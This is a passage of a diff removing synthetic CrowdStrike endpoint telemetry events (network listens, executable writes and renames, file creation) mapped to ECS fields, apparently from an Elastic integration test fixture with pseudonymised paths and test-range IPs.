-                "id": "6571a795f2d49a994f8fc3840f9780f9a9d8|fe88182661659af8a192fac5db624574|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"NetworkListenIP6\",\"ContextTimeStamp\":\"1756453330.351\",\"LocalAddressIP6\":\"2a02:cf40::1\",\"RemoteAddressIP6\":\"2a02:cf40::2\",\"ConfigStateHash\":\"750096004\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"6002550902534\",\"RemotePort\":\"0\",\"ContextThreadId\":\"400604050757015\",\"aip\":\"216.160.83.56\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"event_platform\":\"Win\",\"LocalPort\":\"1049\",\"Entitlements\":\"96\",\"name\":\"32e9d89e356847ad161\",\"EventOrigin\":\"1\",\"id\":\"6571a795f2d49a994f8fc3840f9780f9a9d8\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"fe88182661659af8a192fac5db624574\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "fe88182661659af8a192fac5db624574",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "NetworkListenIP6",
-            "network": {
-                "direction": "unknown",
-                "iana_number": "6",
-                "transport": "tcp"
-            },
-            "observer": {
-                "address": [
-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "fe88182661659af8a192fac5db624574",
-                "version": "2c8b.4.bab7095.e6"
-            },
-            "process": {
-                "entity_id": "6002550902534",
-                "thread": {
-                    "id": 400604050757015
-                }
-            },
-            "related": {
-                "hash": [
-                    "750096004"
-                ],
-                "ip": [
-                    "216.160.83.56",
-                    "2a02:cf40::1",
-                    "2a02:cf40::2"
-                ]
-            },
-            "source": {
-                "address": "2a02:cf40::1",
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": "2a02:cf40::1",
-                "port": 1049
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "710307050",
-                "ConnectionFlags": "0",
-                "ContextBaseFileName": "8e8eab0b4bf",
-                "ContextProcessId": "4700009307800",
-                "ContextTimeStamp": "2025-06-11T06:00:37.544Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "56",
-                "EventOrigin": "1",
-                "InContext": "0",
-                "LocalAddressIP4": [
-                    "216.160.83.56"
-                ],
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "6944305135f71ae54b685de925bc80d24162",
-                "name": "4ccf568bd7cda1587d77b69c3f"
-            },
-            "destination": {
-                "address": "216.160.83.56",
-                "as": {
-                    "number": 209
-                },
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": "216.160.83.56",
-                "port": 1049
-            },
-            "device": {
-                "id": "359d1a3764bc9914314c10bbe07b0ee5"
-            },
-            "event": {
-                "action": "NetworkReceiveAcceptIP4",
-                "category": [
-                    "network"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "6944305135f71ae54b685de925bc80d24162|359d1a3764bc9914314c10bbe07b0ee5|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"LocalAddressIP4\":\"216.160.83.56\",\"ContextBaseFileName\":\"8e8eab0b4bf\",\"event_simpleName\":\"NetworkReceiveAcceptIP4\",\"ContextTimeStamp\":\"1749621637.544\",\"ConfigStateHash\":\"710307050\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"4700009307800\",\"RemotePort\":\"60702\",\"aip\":\"89.160.20.112\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"LocalPort\":\"1049\",\"Entitlements\":\"56\",\"name\":\"4ccf568bd7cda1587d77b69c3f\",\"EventOrigin\":\"1\",\"id\":\"6944305135f71ae54b685de925bc80d24162\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"359d1a3764bc9914314c10bbe07b0ee5\",\"RemoteAddressIP4\":\"89.160.20.128\",\"ConnectionDirection\":\"1\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "unknown",
-                "type": [
-                    "allowed",
-                    "access",
-                    "connection"
-                ]
-            },
-            "host": {
-                "id": "359d1a3764bc9914314c10bbe07b0ee5",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "NetworkReceiveAcceptIP4",
-            "network": {
-                "community_id": "1:Mc7n12oHGHKtseOxhknfoHljEMo=",
-                "direction": "inbound",
-                "iana_number": "6",
-                "transport": "tcp"
-            },
-            "observer": {
-                "address": [
-                    "89.160.20.112"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "serial_number": "359d1a3764bc9914314c10bbe07b0ee5",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "4700009307800",
-                "name": "8e8eab0b4bf"
-            },
-            "related": {
-                "hash": [
-                    "710307050"
-                ],
-                "ip": [
-                    "89.160.20.112",
-                    "216.160.83.56",
-                    "89.160.20.128"
-                ]
-            },
-            "source": {
-                "address": "89.160.20.128",
-                "as": {
-                    "number": 29518,
-                    "organization": {
-                        "name": "Bredband2 AB"
-                    }
-                },
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": "89.160.20.128",
-                "port": 60702
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "710307050",
-                "ConnectionFlags": "0",
-                "ContextBaseFileName": "8e8eab0b4bf",
-                "ContextProcessId": "2000180444147",
-                "ContextTimeStamp": "2025-05-19T03:44:05.373Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "36",
-                "EventOrigin": "1",
-                "InContext": "0",
-                "LocalAddressIP6": [
-                    "2a02:cf40::1"
-                ],
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "2de192320bb03a0e9990059a2895376d0213",
-                "name": "0f701c259d2d9d9e15dbcf1339"
-            },
-            "destination": {
-                "address": "2a02:cf40::1",
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": "2a02:cf40::1",
-                "port": 7340
-            },
-            "device": {
-                "id": "15d126c11ad8c113dec6e819ca553cf7"
-            },
-            "event": {
-                "action": "NetworkReceiveAcceptIP6",
-                "category": [
-                    "network"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "2de192320bb03a0e9990059a2895376d0213|15d126c11ad8c113dec6e819ca553cf7|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ContextBaseFileName\":\"8e8eab0b4bf\",\"event_simpleName\":\"NetworkReceiveAcceptIP6\",\"ContextTimeStamp\":\"1747626245.373\",\"LocalAddressIP6\":\"2a02:cf40::1\",\"RemoteAddressIP6\":\"2a02:cf40::2\",\"ConfigStateHash\":\"710307050\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"2000180444147\",\"RemotePort\":\"8340\",\"aip\":\"89.160.20.128\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"LocalPort\":\"7340\",\"Entitlements\":\"36\",\"name\":\"0f701c259d2d9d9e15dbcf1339\",\"EventOrigin\":\"1\",\"id\":\"2de192320bb03a0e9990059a2895376d0213\",\"Protocol\":\"45\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"15d126c11ad8c113dec6e819ca553cf7\",\"ConnectionDirection\":\"1\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "unknown",
-                "type": [
-                    "allowed",
-                    "access",
-                    "connection"
-                ]
-            },
-            "host": {
-                "id": "15d126c11ad8c113dec6e819ca553cf7",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "NetworkReceiveAcceptIP6",
-            "network": {
-                "community_id": "1:j3KVYY0e4cSBtQRhz1UzjE8yUk0=",
-                "direction": "inbound",
-                "iana_number": "45"
-            },
-            "observer": {
-                "address": [
-                    "89.160.20.128"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "serial_number": "15d126c11ad8c113dec6e819ca553cf7",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "2000180444147",
-                "name": "8e8eab0b4bf"
-            },
-            "related": {
-                "hash": [
-                    "710307050"
-                ],
-                "ip": [
-                    "89.160.20.128",
-                    "2a02:cf40::1",
-                    "2a02:cf40::2"
-                ]
-            },
-            "source": {
-                "address": "2a02:cf40::2",
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": "2a02:cf40::2",
-                "port": 8340
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "710307050",
-                "ContextProcessId": "6670000954191",
-                "ContextTimeStamp": "2025-09-21T23:09:24.011Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "66",
-                "EventOrigin": "1",
-                "FileObject": "0",
-                "IrpFlags": "100651",
-                "MajorFunction": "6",
-                "MinorFunction": "0",
-                "NewFileIdentifier": "1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330",
-                "OperationFlags": "0",
-                "TargetFileName": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "3576a8f1eee99ef99a90b644fac69ef96052",
-                "name": "b64d07a4710e4a075cd1f1"
-            },
-            "device": {
-                "id": "39074f37291ca6f2d189c1e110e04dfc"
-            },
-            "event": {
-                "action": "NewExecutableRenamed",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "3576a8f1eee99ef99a90b644fac69ef96052|39074f37291ca6f2d189c1e110e04dfc|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ContextThreadId\":\"703603693040462\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.192\",\"FileIdentifier\":\"990200511957122000670029061067970349454003500200\",\"event_platform\":\"Win\",\"NewFileIdentifier\":\"1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330\",\"EventOrigin\":\"1\",\"id\":\"3576a8f1eee99ef99a90b644fac69ef96052\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"NewExecutableRenamed\",\"ContextTimeStamp\":\"1758496164.011\",\"ConfigStateHash\":\"710307050\",\"ContextProcessId\":\"6670000954191\",\"SourceFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\a715181\\\\b169fe25\\\\d5fdc1af\\\\b62491c6\",\"IrpFlags\":\"100651\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"MajorFunction\":\"6\",\"Entitlements\":\"66\",\"name\":\"b64d07a4710e4a075cd1f1\",\"OperationFlags\":\"0\",\"aid\":\"39074f37291ca6f2d189c1e110e04dfc\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\a715181\\\\b169fe25\\\\40a20853\\\\b19eb57e.exe\\\\b62491c6\\\\6ffbd0fe.exe\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "file": {
-                "Ext": {
-                    "original": {
-                        "name": "b62491c6",
-                        "path": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\d5fdc1af\\b62491c6"
-                    }
-                },
-                "directory": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6",
-                "extension": "exe",
-                "inode": "990200511957122000670029061067970349454003500200",
-                "name": "6ffbd0fe.exe",
-                "path": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe",
-                "type": "file"
-            },
-            "host": {
-                "id": "39074f37291ca6f2d189c1e110e04dfc",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "NewExecutableRenamed",
-            "observer": {
-                "address": [
-                    "81.2.69.192"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "serial_number": "39074f37291ca6f2d189c1e110e04dfc",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "6670000954191",
-                "thread": {
-                    "id": 703603693040462
-                }
-            },
-            "related": {
-                "hash": [
-                    "710307050"
-                ],
-                "ip": [
-                    "81.2.69.192"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "9080600092",
-                "ContextBaseFileName": "7592a3326e8f",
-                "ContextImageFileName": "\\6ba0bd\\447b992c\\d598026\\1c467339.exe",
-                "ContextProcessId": "6609070495594",
-                "ContextTimeStamp": "2025-05-17T15:48:03.062Z",
-                "DesiredAccess": "4250080",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "76",
-                "EventOrigin": "1",
-                "FileAttributes": "0",
-                "FileEcpBitmask": "0",
-                "FileObject": "0",
-                "Information": "2",
-                "IrpFlags": "2500",
-                "MajorFunction": "0",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "Options": "50000230",
-                "ShareAccess": "3",
-                "Status": "0",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "159069fcc959600bb67b1d499fbba75e246f",
-                "name": "df0d670fd6fc4521a6c960"
-            },
-            "device": {
-                "id": "e4a077554af537da06f56e39976d4420"
-            },
-            "event": {
-                "action": "creation",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "159069fcc959600bb67b1d499fbba75e246f|e4a077554af537da06f56e39976d4420|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ContextBaseFileName\":\"7592a3326e8f\",\"Options\":\"50000230\",\"ContextThreadId\":\"290000250300138\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.144\",\"Information\":\"2\",\"FileIdentifier\":\"069e4fe6f4d10f0e30f24838e1fd3eeab84cda3de7ec491c\",\"event_platform\":\"Win\",\"ShareAccess\":\"3\",\"EventOrigin\":\"1\",\"id\":\"159069fcc959600bb67b1d499fbba75e246f\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"FileAttributes\":\"0\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"NewExecutableWritten\",\"ContextTimeStamp\":\"1747496883.062\",\"ConfigStateHash\":\"9080600092\",\"ContextProcessId\":\"6609070495594\",\"IrpFlags\":\"2500\",\"ContextImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\1c467339.exe\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"DesiredAccess\":\"4250080\",\"Entitlements\":\"76\",\"name\":\"df0d670fd6fc4521a6c960\",\"OperationFlags\":\"0\",\"aid\":\"e4a077554af537da06f56e39976d4420\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\6b0cc\\\\08cfe5\\\\0f51ad6\\\\813ded8\\\\c7bac469\\\\d598026\\\\690dbe\\\\2e00f238.lnk\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe",
-                "extension": "lnk",
-                "inode": "069e4fe6f4d10f0e30f24838e1fd3eeab84cda3de7ec491c",
-                "name": "2e00f238.lnk",
-                "path": "\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\2e00f238.lnk",
-                "type": "file"
-            },
-            "host": {
-                "id": "e4a077554af537da06f56e39976d4420",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "NewExecutableWritten",
-            "observer": {
-                "address": [
-                    "81.2.69.144"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "serial_number": "e4a077554af537da06f56e39976d4420",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "6609070495594",
-                "executable": "\\6ba0bd\\447b992c\\d598026\\1c467339.exe",
-                "name": "7592a3326e8f",
-                "thread": {
-                    "id": 290000250300138
-                }
-            },
-            "related": {
-                "hash": [
-                    "9080600092"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "8200073020",
-                "ContextBaseFileName": "481bc1a027f891f9b",
-                "ContextImageFileName": "\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\f89ea270\\d001f1d.4\\b5860c81.exe",
-                "ContextProcessId": "211820800920708240",
-                "ContextTimeStamp": "2025-08-25T17:32:23.835Z",
-                "DesiredAccess": "5060417",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "66",
-                "EventOrigin": "1",
-                "FileAttributes": "0",
-                "FileEcpBitmask": "0",
-                "FileObject": "0",
-                "Information": "3",
-                "IrpFlags": "2500",
-                "MajorFunction": "0",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "Options": "66717670",
-                "ShareAccess": "1",
-                "Status": "0",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "182d52dbecaca7970cb63c42addda760f512",
-                "name": "af0673bdd782d244e9c"
-            },
-            "device": {
-                "id": "d6c18cb814c9100d81bedd3b4290407f"
-            },
-            "event": {
-                "action": "creation",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "182d52dbecaca7970cb63c42addda760f512|d6c18cb814c9100d81bedd3b4290407f|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ContextBaseFileName\":\"481bc1a027f891f9b\",\"Options\":\"66717670\",\"ContextThreadId\":\"270140900130850060\",\"MinorFunction\":\"0\",\"aip\":\"89.160.20.128\",\"Information\":\"3\",\"FileIdentifier\":\"3983fc13457464a741b39fba5bb2260604ddb049477359f2\",\"event_platform\":\"Win\",\"ShareAccess\":\"1\",\"EventOrigin\":\"1\",\"id\":\"182d52dbecaca7970cb63c42addda760f512\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"FileAttributes\":\"0\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"NewScriptWritten\",\"ContextTimeStamp\":\"1756143143.835\",\"ConfigStateHash\":\"8200073020\",\"ContextProcessId\":\"211820800920708240\",\"IrpFlags\":\"2500\",\"ContextImageFileName\":\"\\\\6ba0bd\\\\3edfbf1f\\\\303abfe3\\\\45ab82\\\\3ca2a2ce\\\\f89ea270\\\\d001f1d.4\\\\b5860c81.exe\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"DesiredAccess\":\"5060417\",\"Entitlements\":\"66\",\"name\":\"af0673bdd782d244e9c\",\"OperationFlags\":\"0\",\"aid\":\"d6c18cb814c9100d81bedd3b4290407f\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\3edfbf1f\\\\303abfe3\\\\45ab82\\\\3ca2a2ce\\\\481f1be1.config\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce",
-                "extension": "config",
-                "inode": "3983fc13457464a741b39fba5bb2260604ddb049477359f2",
-                "name": "481f1be1.config",
-                "path": "\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\481f1be1.config",
-                "type": "file"
-            },
-            "host": {
-                "id": "d6c18cb814c9100d81bedd3b4290407f",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "NewScriptWritten",
-            "observer": {
-                "address": [
-                    "89.160.20.128"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "serial_number": "d6c18cb814c9100d81bedd3b4290407f",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "211820800920708240",
-                "executable": "\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\f89ea270\\d001f1d.4\\b5860c81.exe",
-                "name": "481bc1a027f891f9b",
-                "thread": {
-                    "id": 270140900130850060
-                }
-            },
-            "related": {
-                "hash": [
-                    "8200073020"
-                ],
-                "ip": [
-                    "89.160.20.128"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "10050074",
-                "ConfigStateHash": "9080600092",
-                "ContextBaseFileName": "7592a3326e8f",
-                "ContextProcessId": "3609070495594",
-                "ContextTimeStamp": "2025-08-06T04:01:50.026Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "36",
-                "EventOrigin": "1",
-                "FileCategory": "2",
-                "FileEcpBitmask": "0",
-                "FileObject": "0",
-                "FileOperatorSid": "S-72386-31002-81578-35580-81320-88994-11078",
-                "FileWrittenFlags": "0",
-                "IrpFlags": "0",
-                "IsOnNetwork": "0",
-                "IsOnRemovableDisk": "0",
-                "MajorFunction": "0",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "TokenType": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "50b4564705009d4d899b257c4f60806debaf",
-                "name": "52f49e17cbb3258ec"
-            },
-            "device": {
-                "id": "e4a077554af537da06f56e39976d4420"
-            },
-            "event": {
-                "action": "creation",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "50b4564705009d4d899b257c4f60806debaf|e4a077554af537da06f56e39976d4420|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"FileOperatorSid\":\"S-72386-31002-81578-35580-81320-88994-11078\",\"ContextBaseFileName\":\"7592a3326e8f\",\"FileCategory\":\"2\",\"Size\":\"70097\",\"ContextThreadId\":\"290000250300138\",\"MinorFunction\":\"0\",\"aip\":\"89.160.20.128\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"938e82c7b12a104fa76dcbeb0307793c9ec98bea974f8770\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\237ca1ff\\\\9f8125ec\",\"id\":\"50b4564705009d4d899b257c4f60806debaf\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"OleFileWritten\",\"ContextTimeStamp\":\"1754452910.026\",\"ConfigStateHash\":\"9080600092\",\"ContextProcessId\":\"3609070495594\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"10050074\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"36\",\"name\":\"52f49e17cbb3258ec\",\"OperationFlags\":\"0\",\"aid\":\"e4a077554af537da06f56e39976d4420\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\6b0cc\\\\08cfe5\\\\0f51ad6\\\\813ded8\\\\c7bac469\\\\d598026\\\\690dbe\\\\e6e3e8fa\\\\5fcb82a8.automaticDestinations-ms\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "device": "835\\237ca1ff\\9f8125ec",
-                "directory": "\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\e6e3e8fa",
-                "extension": "automaticDestinations-ms",
-                "inode": "938e82c7b12a104fa76dcbeb0307793c9ec98bea974f8770",
-                "name": "5fcb82a8.automaticDestinations-ms",
-                "path": "\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\e6e3e8fa\\5fcb82a8.automaticDestinations-ms",
-                "size": 70097,
-                "type": "file"
-            },
-            "host": {
-                "id": "e4a077554af537da06f56e39976d4420",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "OleFileWritten",
-            "observer": {
-                "address": [
-                    "89.160.20.128"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "serial_number": "e4a077554af537da06f56e39976d4420",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "3609070495594",
-                "name": "7592a3326e8f",
-                "thread": {
-                    "id": 290000250300138
-                }
-            },
-            "related": {
-                "hash": [
-                    "9080600092"
-                ],
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "user": [
-                    "S-72386-31002-81578-35580-81320-88994-11078"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-72386-31002-81578-35580-81320-88994-11078"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "1046050",
-                "BoundingLimitCount": 10,
-                "BoundingLimitDuration": "2486640",
-                "ConfigStateHash": "205997984",
-                "ContextBaseFileName": "f8d3910f48a",
-                "ContextProcessId": "3902807870001",
-                "ContextTimeStamp": "2025-09-13T19:54:25.081Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "16",
-                "EventOrigin": "1",
-                "FileCategory": "2",
-                "FileEcpBitmask": "0",
-                "FileObject": "0",
-                "FileOperatorSid": "S-14916-87933-54904-21020-22768-89969-67859",
-                "FileWrittenFlags": "0",
-                "IrpFlags": "0",
-                "IsOnNetwork": "0",
-                "IsOnRemovableDisk": "0",
-                "MajorFunction": "0",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "TokenType": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "fa7433e86a344c7c471c159189a5d9e46b61",
